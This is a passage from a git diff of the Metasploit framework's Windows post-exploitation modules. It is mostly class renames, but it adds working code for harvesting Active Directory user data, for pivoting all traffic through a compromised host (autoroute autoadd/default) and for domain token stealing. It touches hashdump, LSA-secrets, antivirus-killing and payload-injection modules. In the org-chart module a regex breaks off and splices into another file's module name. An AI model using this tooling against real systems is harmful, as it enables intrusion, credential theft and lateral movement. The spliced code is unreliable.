/[0-9][0-9].0/.match(version).nil? + + print_status("Version found: #{version}") + version_path = "#{OFFICE_REGISTRY_PATH}\\#{version}" + applications = registry_enumkeys(version_path, registry_arch) + + if applications.nil? + print_status('Failed to enumerate applications.') + next + end + + vprint_status('Found applications.') + #find version to use + applications.each do |application| + trusted_locations_path = "#{version_path}\\#{application}\\#{TRUSTED_LOCATIONS_PATH}" + trusted_locations = registry_enumkeys(trusted_locations_path, registry_arch) + next if trusted_locations.nil? + + print_good("Found trusted locations in #{application}") + #find version to use + trusted_locations.each do |location| + location_path = "#{trusted_locations_path}\\#{location}" + description = registry_getvaldata(location_path, 'Description', registry_arch) + allow_subfolders = registry_getvaldata(location_path, 'AllowSubFolders', registry_arch) + path = registry_getvaldata(location_path, 'Path', registry_arch) + vprint_status("Description: #{description}") + result = "Application: #{application}, Path: #{path}, AllSubFolders: #{!!allow_subfolders}" + locations << "#{result}\n" + print_status(result) + end + end + end + path = store_loot('host.trusted_locations', 'text/plain', session, locations, 'trusted_locations.txt', 'Trusted Locations') + print_good("Results stored in: #{path}") + end + end +end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 09dea61737..348e8886f9 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/parser/unattend' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb index 2500d9226f..d48f1f77ef 100644 --- a/modules/post/windows/gather/file_from_raw_ntfs.rb +++ b/modules/post/windows/gather/file_from_raw_ntfs.rb @@ -5,7 +5,7 @@ require 'rex/parser/fs/ntfs' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Error diff --git a/modules/post/windows/gather/forensics/browser_history.rb b/modules/post/windows/gather/forensics/browser_history.rb index 161789429b..fc8f75b4d1 100644 --- a/modules/post/windows/gather/forensics/browser_history.rb +++ b/modules/post/windows/gather/forensics/browser_history.rb @@ -10,7 +10,7 @@ require 'msf/core/post/windows/user_profiles' require 'msf/core/post/windows/registry' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index c967b5f6ab..95db9869cf 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index 34b24c51cb..a1bc92dd3b 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -11,7 +11,7 @@ # Mississippi State University National Forensics Training Center # http://msu-nftc.org -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index 209a90c492..9245efeb0d 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -14,7 +14,7 @@ require 'digest/md5' require 'digest/sha1' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/gather/forensics/nbd_server.rb b/modules/post/windows/gather/forensics/nbd_server.rb index 2a029ce6a3..fe5704295f 100644 --- a/modules/post/windows/gather/forensics/nbd_server.rb +++ b/modules/post/windows/gather/forensics/nbd_server.rb @@ -14,7 +14,7 @@ # Mississippi State University National Forensics Training Center # http://msu-nftc.org -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index c32cfa7420..bae7105eee 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 0f4b866d16..2e635e04b2 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 96fbc11ccf..030a5c8874 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index 812691a029..934785f84f 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -8,7 +8,7 @@ require 'msf/core/post/windows/priv' require 'msf/core/post/common' require 'msf/core/post/windows/registry' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Common include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/make_csv_orgchart.rb b/modules/post/windows/gather/make_csv_orgchart.rb new file mode 100644 index 0000000000..f84d9204cb --- /dev/null +++ b/modules/post/windows/gather/make_csv_orgchart.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class MetasploitModule < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::Windows::LDAP + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Generate CSV Organizational Chart Data Using Manager Information', + 'Description' => %( + This module will generate a CSV file containing all users and their managers, which can be + imported into Visio which will render it. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Stuart Morgan ' + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptBool.new('WITH_MANAGERS_ONLY', [true, 'Only users with managers', false]), + OptBool.new('ACTIVE_USERS_ONLY', [true, 'Only include active users (i.e. not disabled ones)', true]), + OptBool.new('STORE_LOOT', [true, 'Store the organizational chart information in CSV format in loot', true]), + OptString.new('FILTER', [false, 'Additional LDAP filter to use when searching for users', '']) + ], self.class) + end + + def run + max_search = datastore['MAX_SEARCH'] + user_fields = ['cn', 'manager', 'description', 'title', 'telephoneNumber', 'department', 'division', 'userPrincipalName', 'company'] + + begin + qs = [] + qs << '(objectCategory=person)' + qs << '(objectClass=user)' + qs << '(!userAccountControl:1.2.840.113556.1.4.803:=2)' if datastore['ACTIVE_USERS_ONLY'] + qs << '(manager=*)' if datastore['WITH_MANAGERS_ONLY'] + qs << "(#{datastore['FILTER']})" if datastore['FILTER'] != "" + + query_string = "(&(#{qs.join('')}))" + vprint_status("Executing #{query_string}") + q = query(query_string, max_search, user_fields) + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e + # Can't bind or in a network w/ limited accounts + print_error(e.message) + return + end + + if q.nil? || q[:results].empty? + print_status('No results returned.') + else + user_fields << 'reports_to' + results_table = parse_results(q[:results]) + print_line results_table.to_s + if datastore['STORE_LOOT'] + stored_path = store_loot('ad.orgchart', 'text/csv', session, results_table.to_csv) + print_status("CSV Organisational Chart Information saved to: #{stored_path}") + end + end + end + + # Takes the results of LDAP query, parses them into a table + def parse_results(results) + results_table = Rex::Text::Table.new( + 'Header' => "Users & Managers", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['cn', 'description', 'title', 'phone', 'department', 'division', 'e-mail', 'company', 'reports_to'] + ) + + results.each do |result| + row = [] + + result.each_with_index do |field, idx| + next if idx == 1 # Don't include the manager DN + + if field.nil? + row << "" + else + row << field[:value] + end + end + + # Parse the manager CN string to grab the CN= field only. + # Note that it needs the negative lookbehind to avoid escaped characters. + reports_to = /^CN=(?.+?),(? 'Windows Gather Screen Spy', diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 4a1f6c4dba..c4dcabaef3 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index 76566231ff..61d9bf710a 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post entries = buffer[0,4].unpack("V*")[0] print_status("Total TCP Entries: #{entries}") - rtable = Rex::Ui::Text::Table.new( + rtable = Rex::Text::Table.new( 'Header' => 'Connection Table', 'Indent' => 2, 'Columns' => ['STATE', 'LHOST', 'LPORT', 'RHOST', 'RPORT'] diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index 17af8ff7fc..d1262c1645 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Post print_status(info_hash_to_str(out, v)) end else - print_error("No USB devices appear to have been connected to theis host.") + print_error("No USB devices appear to have been connected to this host.") end end diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index acb6e8dfa7..669412245a 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -26,23 +26,24 @@ class Metasploit3 < Msf::Post end def run - usr_tbl = Rex::Ui::Text::Table.new( + usr_tbl = Rex::Text::Table.new( 'Header' => 'Current User', 'Indent' => 1, - 'Columns' => ['Is Admin', 'Is System', 'UAC Enabled', 'Foreground ID', 'UID'] + 'Columns' => ['Is Admin', 'Is System', 'Is In Local Admin Group', 'UAC Enabled', 'Foreground ID', 'UID'] ) - privs_tbl = Rex::Ui::Text::Table.new( + privs_tbl = Rex::Text::Table.new( 'Header' =>"Windows Privileges", 'Indent' => 1, 'Columns' => ['Name'] ) # Gather data - uac = is_uac_enabled? ? 'True' : 'False' - admin = is_admin? ? 'True' : 'False' - sys = is_system? ? 'True' : 'False' - uid = client.sys.config.getuid.inspect + uac = is_uac_enabled? ? 'True' : 'False' + admin = is_admin? ? 'True' : 'False' + admin_group = is_in_admin_group? ? 'True' : 'False' + sys = is_system? ? 'True' : 'False' + uid = client.sys.config.getuid.inspect begin # Older OS might not have this (min support is XP) fid = client.railgun.kernel32.WTSGetActiveConsoleSessionId["return"] @@ -52,7 +53,7 @@ class Metasploit3 < Msf::Post privs = client.sys.config.getprivs # Store in tables - usr_tbl << [admin, sys, uac, fid, uid] + usr_tbl << [admin, sys, admin_group, uac, fid, uid] privs.each do |priv| privs_tbl << [priv] end diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index 65af916b48..773931b0b4 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::WMIC @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Post tmpout = "" print_status("Running module against #{sysinfo['Computer']}") if datastore['RESOURCE'] - if ::File.exists?(datastore['RESOURCE']) + if ::File.exist?(datastore['RESOURCE']) ::File.open(datastore['RESOURCE']).each_line do |cmd| diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index 2c727a4677..b0bc6f0bc3 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -18,7 +18,7 @@ require 'msf/core' # for creating files require 'rex/zip' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 7eae317a56..9b83b10a67 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -223,12 +223,11 @@ class Metasploit3 < Msf::Post end ## steal token if neccessary - if (datastore['TOKEN'] == '') - token_found,token_user,current_user = token_hunter(domain) - - return if token_found == false - - datastore['TOKEN'] = token_user if current_user == false + if datastore['TOKEN'] == '' + token_found, token_user, current_user = token_hunter(domain) + if token_found && current_user == false + datastore['TOKEN'] = token_user + end end ## steal token @@ -247,7 +246,7 @@ class Metasploit3 < Msf::Post already_member_group = false ## Add user to the domain - if (datastore['ADDTODOMAIN'] == true) + if datastore['ADDTODOMAIN'] user_add_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) if (user_add_res =~ /The command completed successfully/ and user_add_res =~ /Domain Users/) @@ -261,7 +260,7 @@ class Metasploit3 < Msf::Post end ## Add user to a domain group - if datastore['ADDTOGROUP'] == true + if datastore['ADDTOGROUP'] ## check if user is already a member of the group group_add_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) @@ -291,7 +290,7 @@ class Metasploit3 < Msf::Post end ## verify user was added to domain or domain group - if datastore['ADDTOGROUP'] == true + if datastore['ADDTOGROUP'] if already_member_group == false net_groups_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index a894ae01d3..ff11e896ff 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) @@ -15,9 +15,18 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Manage Network Route via Meterpreter Session', 'Description' => %q{This module manages session routing via an existing Meterpreter session. It enables other modules to 'pivot' through a - compromised host when connecting to the named NETWORK and SUBMASK.}, + compromised host when connecting to the named NETWORK and SUBMASK. + Autoadd will search a session for valid subnets from the routing table + and interface list then add routes to them. Default will add a default + route so that all TCP/IP traffic not specified in the MSF routing table + will be routed through the session when pivoting. See documentation for more + 'info -d' and click 'Knowledge Base'}, 'License' => MSF_LICENSE, - 'Author' => [ 'todb'], + 'Author' => + [ + 'todb', + 'Josh Hale ' + ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter'] )) @@ -26,7 +35,7 @@ class Metasploit3 < Msf::Post [ OptString.new('SUBNET', [false, 'Subnet (IPv4, for example, 10.10.10.0)', nil]), OptString.new('NETMASK', [false, 'Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"', '255.255.255.0']), - OptEnum.new('CMD', [true, 'Specify the autoroute command', 'add', ['add','print','delete']]) + OptEnum.new('CMD', [true, 'Specify the autoroute command', 'autoadd', ['add','autoadd','print','delete','default']]) ], self.class) end @@ -58,6 +67,10 @@ class Metasploit3 < Msf::Post print_status("Adding a route to %s/%s..." % [datastore['SUBNET'],netmask]) add_route(:subnet => datastore['SUBNET'], :netmask => netmask) end + when :autoadd + autoadd_routes + when :default + add_default when :delete if datastore['SUBNET'] print_status("Deleting route to %s/%s..." % [datastore['SUBNET'],netmask]) @@ -156,6 +169,173 @@ class Metasploit3 < Msf::Post Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) end + # This function will exclude loopback, multicast, and default routes + # + # @subnet [string class] IPv4 subnet or address to check + # @netmask [string class] IPv4 netmask to check + # + # @return [true] If good to add + # @return [false] If not + def is_routable?(subnet, netmask) + if subnet =~ /^224\.|^127\./ + return false + elsif subnet == '0.0.0.0' + return false + elsif netmask == '255.255.255.255' + return false + end + + return true + end + + # Search for valid subnets on the target and attempt + # add a route to each. (Operation from auto_add_route plugin.) + # + # @return [void] A useful return value is not expected here + def autoadd_routes + switch_board = Rex::Socket::SwitchBoard.instance + print_status("Searching for subnets to autoroute.") + found = false + + session.net.config.each_route do | route | + next unless is_routable?(route.subnet, route.netmask) + + if !switch_board.route_exists?(route.subnet, route.netmask) + begin + if Rex::Socket::SwitchBoard.add_route(route.subnet, route.netmask, session) + print_good("Route added to subnet #{route.subnet}/#{route.netmask} from host's routing table.") + found = true + else + print_error("Could not add route to subnet #{route.subnet}/#{route.netmask} from host's routing table.") + end + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Could not add route to subnet #{route.subnet}/(#{route.netmask}) from host's routing table.") + print_error(error.to_s) + end + end + end + + if !autoadd_interface_routes && !found # Check interface list for more possible routes + print_status("Did not find any new subnets to add.") + end + end + + # Look at network interfaces as options for additional routes. + # If the routes are not already included they will be added. + # + # @return [true] A route from the interface list was added + # @return [false] No additional routes were added + def autoadd_interface_routes + switch_board = Rex::Socket::SwitchBoard.instance + found = false + + session.net.config.each_interface do | interface | # Step through each of the network interfaces + + (0..(interface.addrs.size - 1)).each do | index | # Step through the addresses for the interface + + ip_addr = interface.addrs[index] + netmask = interface.netmasks[index] + + next unless ip_addr =~ /\./ # Pick out the IPv4 addresses + next unless is_routable?(ip_addr, netmask) + + subnet = get_subnet(ip_addr, netmask) + + if subnet + if !switch_board.route_exists?(subnet, netmask) + begin + if Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) + print_good("Route added to subnet #{subnet}/#{netmask} from #{interface.mac_name}.") + found = true + else + print_error("Could not add route to subnet #{subnet}/#{netmask} from #{interface.mac_name}") + end + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Could not add route to subnet #{subnet}/(#{netmask}) from #{interface.mac_name}") + print_error(error.to_s) + end + end + end + end + end + return found + end + + # Take an IP address and a netmask and return the appropreate subnet "Network" + # + # @ip_addr [string class] Input IPv4 Address + # @netmask [string class] Input IPv4 Netmask + # + # @return [string class] The subnet related to the IP address and netmask + # @return [nil class] Something is out of range + def get_subnet(ip_addr, netmask) + return nil if !validate_cmd(ip_addr, netmask) #make sure IP and netmask are valid + + nets = ip_addr.split('.') + masks = netmask.split('.') + output = "" + + (0..3).each do | index | + octet = get_subnet_octet(int_or_nil(nets[index]), int_or_nil(masks[index])) + return nil if !octet + output << octet.to_s + output << '.' if index < 3 + end + return output + end + + # Input an octet of an IPv4 address and the cooresponding octet of the + # IPv4 netmask then return the appropreate subnet octet. + # + # @net [integer class] IPv4 address octet + # @mask [integer class] Ipv4 netmask octet + # + # @return [integer class] Octet of the subnet + # @return [nil class] If an input is nil + def get_subnet_octet(net, mask) + return nil if !net || !mask + + subnet_range = 256 - mask # This is the address space of the subnet octet + + multi = net / subnet_range # Integer division to get the multiplier needed to determine subnet octet + + return(subnet_range * multi) # Multiply to get subnet octet + end + + # Take a string of numbers and converts it to an integer. + # + # @string [string class] Input string, needs to be all numbers (0..9) + # + # @return [integer class] Integer representation of the number string + # @return [nil class] string contains non-numbers, cannot convert + def int_or_nil(string) + num = string.to_i + num if num.to_s == string + end + + # Add a default route to the routing table + # + # @return [void] A useful return value is not expected here + def add_default + subnet = '0.0.0.0' + mask = '0.0.0.0' + + switch_board = Rex::Socket::SwitchBoard.instance + print_status("Attempting to add a default route.") + + if !switch_board.route_exists?(subnet, mask) + begin + if Rex::Socket::SwitchBoard.add_route(subnet, mask, session) + print_good("Route added to subnet #{subnet}/#{mask}") + else + print_error("Could not add route to subnet #{subnet}/#{mask}") + end + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Could not add route to subnet #{subnet}/(#{mask})") + print_error(error.to_s) + end + end + end # Validates the command options def validate_cmd(subnet=nil,netmask=nil) diff --git a/modules/post/windows/manage/change_password.rb b/modules/post/windows/manage/change_password.rb index 889f5af7b9..32d3a7bea2 100644 --- a/modules/post/windows/manage/change_password.rb +++ b/modules/post/windows/manage/change_password.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/manage/clone_proxy_settings.rb b/modules/post/windows/manage/clone_proxy_settings.rb index c270e7bd94..400396dd72 100644 --- a/modules/post/windows/manage/clone_proxy_settings.rb +++ b/modules/post/windows/manage/clone_proxy_settings.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb index 5cc08d1e83..e0728d84d7 100644 --- a/modules/post/windows/manage/delete_user.rb +++ b/modules/post/windows/manage/delete_user.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb index b920f64184..5a0dc0d74e 100644 --- a/modules/post/windows/manage/download_exec.rb +++ b/modules/post/windows/manage/download_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 9558084429..4e4683ffe3 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index e798ac70a0..55a67d5b42 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry diff --git a/modules/post/windows/manage/enable_support_account.rb b/modules/post/windows/manage/enable_support_account.rb index c5a949c3f6..6f90cc8129 100644 --- a/modules/post/windows/manage/enable_support_account.rb +++ b/modules/post/windows/manage/enable_support_account.rb @@ -1,7 +1,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv diff --git a/modules/post/windows/manage/exec_powershell.rb b/modules/post/windows/manage/exec_powershell.rb index 11b6659f6b..7894086acc 100644 --- a/modules/post/windows/manage/exec_powershell.rb +++ b/modules/post/windows/manage/exec_powershell.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/powershell' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell def initialize(info={}) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index d8dbf4ee18..e5cba36cef 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'tmpdir' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv def initialize(info = {}) diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb index 82ff84eb6b..85d631821e 100644 --- a/modules/post/windows/manage/ie_proxypac.rb +++ b/modules/post/windows/manage/ie_proxypac.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::File @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Post pac_file = session.sys.config.getenv("APPDATA") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac" conf_pac = "" - if ::File.exists?(local_pac) + if ::File.exist?(local_pac) conf_pac << ::File.open(local_pac, "rb").read else print_error("Local PAC file not found.") diff --git a/modules/post/windows/manage/inject_ca.rb b/modules/post/windows/manage/inject_ca.rb index f86f5cdf0d..26261c7c52 100644 --- a/modules/post/windows/manage/inject_ca.rb +++ b/modules/post/windows/manage/inject_ca.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/manage/inject_host.rb b/modules/post/windows/manage/inject_host.rb index 0151db3970..d5333cf80f 100644 --- a/modules/post/windows/manage/inject_host.rb +++ b/modules/post/windows/manage/inject_host.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/manage/killav.rb b/modules/post/windows/manage/killav.rb index fb86ce4401..826bbc8f07 100644 --- a/modules/post/windows/manage/killav.rb +++ b/modules/post/windows/manage/killav.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'set' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 5dd4e6259d..671ee5670f 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index 5d14a36694..695eba3ede 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/mssql' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::MSSQL @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Post OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']), OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']), OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]), - OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false']) + OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false]) ], self.class) end diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 4900e1fc64..83ba7c78c0 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index 41f786ac8c..2395a2faa7 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -13,7 +13,7 @@ # Mississippi State University National Forensics Training Center # http://msu-nftc.org -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 10c6317646..adfb373da6 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/post/common' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Common diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb new file mode 100644 index 0000000000..442d92df8c --- /dev/null +++ b/modules/post/windows/manage/persistence_exe.rb @@ -0,0 +1,172 @@ +### +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/post/windows/services' + +class MetasploitModule < Msf::Post + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Msf::Post::Windows::Services + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows 